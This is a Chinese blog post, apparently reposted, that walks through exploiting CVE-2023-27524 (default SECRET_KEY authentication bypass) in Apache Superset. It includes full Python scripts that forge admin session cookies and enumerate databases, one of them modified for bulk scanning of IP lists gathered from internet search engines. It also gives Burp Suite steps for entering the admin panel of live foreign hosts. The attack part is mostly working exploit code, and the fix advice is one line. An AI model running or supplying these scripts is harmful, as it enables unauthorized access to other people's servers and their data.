实战-ApacheSuperset未授权访问漏洞(CVE-2023-27524)

声明:

该文章仅供网络安全领域的学习使用,请勿利用文章内的相关技术从事任何非法行为。

测试资产为国外 IP,存在漏洞的 IP 地址已做打码处理。

我们只进行 poc,请勿进行任何非法入侵和攻击。

知攻善防,遇强则强。

开发和安全缺一不可!

目录

目录

一、Apache Superset 简介 

二、CVE-2023-27524 漏洞介绍

三、影响范围

四、漏洞实战

1、资产收集

2、漏洞检测

3、漏洞利用

五、总结修复

六、批量扫描


一、Apache Superset 简介 

Apache Superset 是一个开源的现代数据探索和可视化平台

二、CVE-2023-27524 漏洞介绍

 Apache Superset 是一种广泛使用的数据可视化和探索开源工具,已被确定存在潜在的安全漏洞,可能导致身份验证绕过和远程代码执行 (RCE),这些漏洞可能使恶意行为者能够获得目标服务器上的管理权限,从而使他们能够收集用户凭据并可能危及数据。

三、影响范围

Apache Superset 2.0.1 及之前的版本

四、漏洞实战

1、资产收集

使用黑暗搜索引擎(fofa、zoomeye、鹰图等)

Apache Superset

导出资产数据,我们只使用它的IP即可

2、漏洞检测

检测脚本python源码:

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)SECRET_KEYS = [b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1b'thisISaSECRET_1234',                            # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentationb'TEST_NON_DEV_SECRET'                            # docker compose
]def main():parser = argparse.ArgumentParser()parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)args = parser.parse_args()try:u = args.url.rstrip('/') + '/login/'headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'}resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code != 200:print(f'Error retrieving login page at {u}, status code: {resp.status_code}')returnsession_cookie = Nonefor c in resp.cookies:if c.name == 'session':session_cookie = c.valuebreakif not session_cookie:print('Error: No session cookie found')returnprint(f'Got session cookie: {session_cookie}')try:decoded = session.decode(session_cookie)print(f'Decoded session cookie: {decoded}')except:print('Error: Not a Flask session cookie')returnmatch = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)if match:version = match.group(1)else:version = 'Unknown'print(f'Superset Version: {version}')for i, k in enumerate(SECRET_KEYS):cracked = session.verify(session_cookie, k)if cracked:breakif not cracked:print('Failed to crack session cookie')returnprint(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')try:user_id = int(args.id)except:user_id = args.idforged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)print(f'Forged session cookie for user {user_id}: {forged_cookie}')if args.validate:validated = Falsetry:headers['Cookie'] = f'session={forged_cookie}'print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')sleep(args.timeout)resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code == 302:print(f'Got 302 on login, forged cookie appears to have been accepted')validated = Trueelse:print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')except Exception as e_inner:print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')if not validated:returnprint('Enumerating databases')for i in range(1, 101):database_url_base = args.url.rstrip('/') + '/api/v1/database'try:r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)if r.status_code == 200:result = r.json()['result'] # validate response is JSONname = result['database_name']print(f'Found database {name}')elif r.status_code == 404:print(f'Done enumerating databases')break # no more databaseselse:print(f'Unexpected error: status code={r.status_code}')breakexcept Exception as e_inner:print(f'Unexpected error: {e_inner}')breakexcept Exception as e:print(f'Unexpected error: {e}')if __name__ == '__main__':main()

用法:

在脚本位置打开 cmd,使用 python 命令执行该脚本,使用 -u 参数指定测试的 url

(注意:url 需要加上 http:// 或者对应端口)

对于存在该漏洞的网站,我们就会得到一个cookie

3、漏洞利用

针对同一个 URL ,每次执行得到的 cookie 值是不一样、随机的

比如我们现在得到了一个 cookie 值

cookie:session=eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZantOw.o2wwp8nNjVZKBCDr2fyoki_k9OY

然后我们去访问

http://存在漏洞的主机IP/login/

使用 burpsuite 抓包拦截,将 cookie 添加进去

然后放包,并且关掉 burpsuite 的拦截

查看页面回显,直接进入到 Apache Superset 的管理后台

查看它的信息

不要发到重发器,我们直接抓包后修改 cookie 放包即可,这里要的就是302重定向。

五、总结修复

安装官方发布的升级修复补丁

六、批量扫描

对原有脚本进行一定修改

用法及说明:

使用 -f 参数指定一个 txt 文档,里面为所有的目标 IP

同样 -v 参数可以验证登录,枚举数据库信息

-t 参数指定进入等待时间

每条扫描结果间使用分隔符隔开

每条结果前会显示对应请求的 URL

去掉了原有的 -u 和 --id 参数

自动为扫描结果分配 id

附上修改后的脚本:

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
import osurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)SECRET_KEYS = [b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1b'thisISaSECRET_1234',                            # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentationb'TEST_NON_DEV_SECRET'                            # docker compose
]def main():parser = argparse.ArgumentParser()parser.add_argument('--file', '-f', help='包含 IP 列表的文本文件的路径', required=True)parser.add_argument('--validate', '-v', help='验证登录', required=False, action='store_true')parser.add_argument('--timeout', '-t', help='在使用伪造的会话 cookie 之前等待的时间,默认为 5 秒', required=False, type=int, default=5)args = parser.parse_args()try:with open(args.file, 'r') as file:ip_list = file.read().splitlines()for i, ip in enumerate(ip_list, start=1):args.url = f'http://{ip}'process_ip(args, ip, i)print('-' * 150)  # 添加的分隔符except Exception as e:print(f'发生意外错误:{e}')def process_ip(args, ip, user_id):try:u = args.url.rstrip('/') + '/login/'headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'}resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code != 200:print(f'在 {u} 处获取登录页面时发生错误,状态码:{resp.status_code}')returnsession_cookie = Nonefor c in resp.cookies:if c.name == 'session':session_cookie = c.valuebreakif not session_cookie:print(f'对 {ip} 的错误:未找到会话 cookie')returnprint(f'{u} 获取到会话 cookie:{session_cookie}')try:decoded = session.decode(session_cookie)print(f'{u} 解码后的会话 cookie:{decoded}')except:print(f'{u} 错误:不是 Flask 会话 cookie')returnmatch = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)if match:version = match.group(1)else:version = '未知'print(f'{u} Superset 版本:{version}')for i, k in enumerate(SECRET_KEYS):cracked = session.verify(session_cookie, k)if cracked:breakif not cracked:print(f'{u} 无法破解会话 cookie')returnprint(f'{u} 对 CVE-2023-27524 漏洞的敏感 - 使用默认的 SECRET_KEY:{k}')forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)print(f'{u} 为用户 {user_id} 伪造的会话 cookie:{forged_cookie}')if args.validate:validated = Falsetry:headers['Cookie'] = f'session={forged_cookie}'print(f'{u} 在使用伪造的 cookie 之前等待 {args.timeout} 秒以考虑时间漂移...')sleep(args.timeout)resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code == 302:print(f'{u} 在登录时得到 302,伪造的 cookie 似乎已被接受')validated = Trueelse:print(f'{u} 在登录时得到状态码 {resp.status_code},而不是预期的重定向 302。伪造的 cookie 似乎无效。请重新检查用户 ID。')except Exception as e_inner:print(f'{u} 在登录时发生错误 {e_inner},而不是预期的重定向 302。伪造的 cookie 似乎无效。请重新检查用户 ID。')if not validated:returnprint(f'{u} 正在枚举数据库')for i in range(1, 101):database_url_base = args.url.rstrip('/') + f'/api/v1/database'try:r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)if r.status_code == 200:result = r.json()['result']  # 验证响应是否为 JSONname = result['database_name']print(f'{u} 找到数据库 {name}')elif r.status_code == 404:print(f'{u} 完成枚举数据库')break  # 没有更多的数据库else:print(f'{u} 意外错误:状态码={r.status_code}')breakexcept Exception as e_inner:print(f'{u} 意外错误:{e_inner}')breakexcept Exception as e:print(f'{u} 意外错误:{e}')if __name__ == '__main__':main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/633803.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MYSQL索引实例

1.用SQL语句创建学生表student&#xff0c;定义主键&#xff0c;姓名不能重名&#xff0c;性别只能输入男或女&#xff0c;所在系的默认值是“计算机”。 mysql> create table student(-> Sno int primary key auto_increment,-> Sname varchar(255) not null unique…

MacOS受欢迎的数据库开发工具 Navicat Premium 15 中文版

Navicat Premium 15 Mac是一款数据库管理工具&#xff0c;提供了一个全面的解决方案&#xff0c;用于连接、管理和维护各种数据库系统。以下是Navicat Premium 15 Mac的一些主要功能和特点&#xff1a; 软件下载&#xff1a;Navicat Premium 15 中文版下载 多平台支持&#xff…

kettle 同步gbase8t数据到mysql时clob类型乱码

一、问题 使用kettle 同步gbase8t数据到mysql时clob类型乱码。 varchar类型不乱码。 环境&#xff1a;win10 kettle:9.x 二、解决 1 &#xff08;有效&#xff09;修改kettle编码格式 打开kettle的安装目录&#xff0c;进入data-integration目录记事本编辑spoon.bat搜索PE…

【PyTorch】PyTorch之Tensors索引切片篇

文章目录 前言一、ARGWHERE二、CAT、CONCAT、CONCATENATE三、CHUNK四、GATHER五、MOVEDIM和MOVEAXIS六、PERMUTE七、RESHAPE八、SELECT九、SPLIT十、SQUEEZE十一、T十二、TAKE十三、TILE十四、TRANSPOSE十五、UNBIND十六、UNSQUEEZE十七、WHERE 前言 介绍常用的PyTorch之Tenso…

软件工程研究生后期总结

写这篇随笔的时候&#xff0c;我已经处于研究生阶段的后期&#xff0c;只剩下一个硕论答辩即可结束研究生生涯。趁有闲暇时间&#xff0c;我希望可以从实习、兼职、论文和求职等几个角度重新整理一下研究生后期的工作和收获&#xff0c;以及对未来工作和生活做出展望。 首先简…

【VUE】记录一次 VUE中配置生产环境和开发环境方法

前言 我这里 使用Vue CLI&#xff08;Vue Command Line Interface&#xff09;创建Vue.js项目是一种简单的方式&#xff0c;它提供了一个交互式的命令行工具来帮助你初始化和管理Vue.js项目。 并且我这个项目需要区分生产环境和开发环境。这里具体完整记录下&#xff0c;整个…

第15届蓝桥杯嵌入式省赛准备第二天总结笔记(使用STM32cubeMX创建hal库工程+按键输入)

一.查看电路图 按键是使用的PB0,PB1,PB2,PA0四个引脚&#xff0c;然后使用CubeMX配置引脚&#xff0c;4个脚都配置为输入模式和上拉。 程序生成之后把不用的删掉&#xff0c;需要的留下&#xff0c;这里我把函数名改了。 然后写按键扫描读取程序&#xff0c;这里参考的正点原子…

Vue中ElementUI结合transform使用时,修复el-select弹框定位不准确问题

在大屏开发中&#xff0c;比如将1920*1080放到更大像素&#xff08;3500*2400&#xff09;大屏上演示&#xff0c;此时需要使用到transform来对页面进行缩放&#xff0c;但是此时发现弹框定位出错问题&#xff0c;无法准备定位到实际位置。之前写过一篇讲解的是ElementUI中的&l…

【Android】自定义View onDraw()方法会调用两次

问题 自定义了View后&#xff0c;在构造函数中设置画笔颜色&#xff0c;发现它没起效&#xff0c;但是在onDraw()里设置颜色就会起效&#xff0c;出问题的代码如下&#xff1a; public RoundSeekbarView(Context context, Nullable AttributeSet attrs) {super(context, attrs…

视频美颜SDK与人工智能的结合:技术突破与挑战

本篇文章&#xff0c;小编将与大家共同探讨美颜SDK与人工智能结合背后的技术原理、创新应用以及面临的挑战。 一、技术原理&#xff1a;人工智能在美颜中的应用 视频美颜SDK通过整合深度学习和计算机视觉技术&#xff0c;能够更准确地识别人脸特征、肤色、表情等信息&#xff…

深入理解傅里叶变换

目录 1. 什么是傅里叶变换 2. 为什么要分解为正弦波的叠加参考资料 1. 什么是傅里叶变换 高等数学中一般是从周期函数的傅里叶级数开始介绍的&#xff0c;这里也不例外。 简单的说&#xff0c;从高中我们就学过一个理想的波可以用三角函数来描述&#xff0c;但是实际上的波可…

MAC iterm 显示git分支名

要在Mac上的iTerm中显示Git分支名&#xff0c;您需要使用一个名为“Oh My Zsh”的插件。Oh My Zsh是一个流行的Zsh框架&#xff0c;它提供了许多有用的功能和插件&#xff0c;包括在终端中显示Git分支名。 以下是在iTerm中显示Git分支名的步骤&#xff1a; 1、安装Oh My Zsh&…

Git入门详细教程

一、Git概述&#x1f387; Git官网 Git是一个开源的分布式版本控制系统&#xff0c;用于跟踪文件的变化和协作开发。它允许多个开发者在同一项目中共同工作&#xff0c;并能够有效地管理代码的版本和历史记录。Git可以帮助开发团队更好地协作&#xff0c;追踪代码变更&#xf…

什么是比特币?

比特币 比特币 &#xff08;英语&#xff1a;Bitcoin&#xff0c;缩写&#xff1a;BTC &#xff09;是一种基于 去中心化&#xff0c;采用 点对点网络&#xff0c;开放源代码&#xff0c;以 区块链 作为底层技术的 加密货币。比特币由 中本聪&#xff08;Satoshi Nakamoto&…

Nginx前后端分离部署springboot和vue项目

Nginx前后端分离部署springboot和vue项目&#xff0c;其实用的比较多&#xff0c;有的小伙伴对其原理和配置还一知半解&#xff0c;现在就科普一下&#xff1a; 1、准备后端项目 后端工程无论是微服务还是单体&#xff0c;一般最终都是jar启动&#xff0c;关键点就是把后端服…

go mock模拟接口的实现

简介 mock翻译过来是‘模拟’的意思&#xff0c;也就是模拟接口返回的信息&#xff0c;用已有的信息替换接口返回的信息&#xff0c;从而提供仿真环境&#xff0c;实现模拟数据下的功能测试&#xff1b; 在多人合作编码时&#xff0c;你写的一个函数func DoSth(People)用到了别…

【android】有些系统的应用唤起不了

Intent launchIntent getActivity().getPackageManager().getLaunchIntentForPackage("com.miui.screenrecorder"); if (launchIntent ! null) {// 应用存在&#xff0c;可以启动startActivity(launchIntent); } else {// 应用不存在&#xff0c;可以提示用户或者采…

主数据清洗的一般过程

在对主数据进行清洗之前&#xff0c;要先对主数据进行预处理。主数据预处理一般分为两个步骤&#xff0c; 将数据导入处理工具&#xff0c;比如数据库&#xff1b; 分析属性数据元 包括字段解释、数据来源、代码表等一切描述数据的信息&#xff0c;抽取一部分主数据作为样本数据…

【备战蓝桥杯】图论重点 敲黑板啦!

蓝桥杯备赛 | 洛谷做题打卡day11 文章目录 蓝桥杯备赛 | 洛谷做题打卡day11杂务题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 题解代码我的一些话 杂务 题目描述 John 的农场在给奶牛挤奶前有很多杂务要完成&#xff0c;每一项杂务都需要一定的时间来完成它。比如&a…

c#让三个线程按照顺序执行

现实的例子 三个线程都是while&#xff08;true&#xff09;的循环体 A线程&#xff1a;采集数据 B线程&#xff1a;画曲线 C线程&#xff1a;存数据库 AutoResetEvent类 AutoResetEvent 是一个线程同步的类&#xff0c;它提供了一种机制&#xff0c;允许一个或多个线程等待直…